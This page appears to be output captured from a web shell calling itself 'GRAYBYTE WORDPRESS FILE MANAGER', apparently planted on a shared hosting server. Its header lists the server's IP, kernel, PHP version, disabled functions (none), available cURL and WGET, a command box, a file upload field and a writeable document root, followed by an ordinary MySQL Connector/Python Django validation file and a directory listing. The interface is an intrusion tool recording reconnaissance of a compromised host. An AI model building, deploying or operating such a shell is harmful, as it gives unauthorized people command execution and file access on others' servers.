GRAYBYTE WORDPRESS FILE MANAGER3877

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/hc_python/lib/python3.12/site-packages/mysql/connector/django/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/hc_python/lib/python3.12/site-packages/mysql/connector/django//validation.py
# MySQL Connector/Python - MySQL driver written in Python.

import django

if django.VERSION >= (1, 8):
    from django.db.backends.base.validation import BaseDatabaseValidation
else:
    from django.db.backends import BaseDatabaseValidation

if django.VERSION < (1, 7):
    from django.db import models
else:
    from django.core import checks
    from django.db import connection


class DatabaseValidation(BaseDatabaseValidation):
    if django.VERSION < (1, 7):
        def validate_field(self, errors, opts, f):
            """
            MySQL has the following field length restriction:
            No character (varchar) fields can have a length exceeding 255
            characters if they have a unique index on them.
            """
            varchar_fields = (models.CharField,
                              models.CommaSeparatedIntegerField,
                              models.SlugField)
            if isinstance(f, varchar_fields) and f.max_length > 255 and f.unique:
                msg = ('"%(name)s": %(cls)s cannot have a "max_length" greater '
                       'than 255 when using "unique=True".')
                errors.add(opts, msg % {'name': f.name,
                                        'cls': f.__class__.__name__})

    else:
        def check_field(self, field, **kwargs):
            """
            MySQL has the following field length restriction:
            No character (varchar) fields can have a length exceeding 255
            characters if they have a unique index on them.
            """
            # Django 1.7
            errors = super(DatabaseValidation, self).check_field(field,
                                                                 **kwargs)

            # Ignore any related fields.
            if getattr(field, 'rel', None) is None:
                field_type = field.db_type(connection)

                if field_type is None:
                    return errors

                if (field_type.startswith('varchar')  # Look for CharFields...
                        and field.unique  # ... that are unique
                        and (field.max_length is None or
                                     int(field.max_length) > 255)):
                    errors.append(
                        checks.Error(
                            ('MySQL does not allow unique CharFields to have a '
                             'max_length > 255.'),
                            hint=None,
                            obj=field,
                            id='mysql.E001',
                        )
                )
            return errors

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
April 04 2025 08:00:19
root / root
0755
__pycache__
--
April 04 2025 08:00:19
root / root
0755
__init__.py
0 KB
April 04 2025 08:00:19
root / root
0644
base.py
20.139 KB
April 04 2025 08:00:19
root / root
0644
client.py
1.838 KB
April 04 2025 08:00:19
root / root
0644
compiler.py
1.955 KB
April 04 2025 08:00:19
root / root
0644
creation.py
5.634 KB
April 04 2025 08:00:19
root / root
0644
features.py
4.229 KB
April 04 2025 08:00:19
root / root
0644
introspection.py
13.101 KB
April 04 2025 08:00:19
root / root
0644
operations.py
11.517 KB
April 04 2025 08:00:19
root / root
0644
schema.py
3.549 KB
April 04 2025 08:00:19
root / root
0644
validation.py
2.544 KB
April 04 2025 08:00:19
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF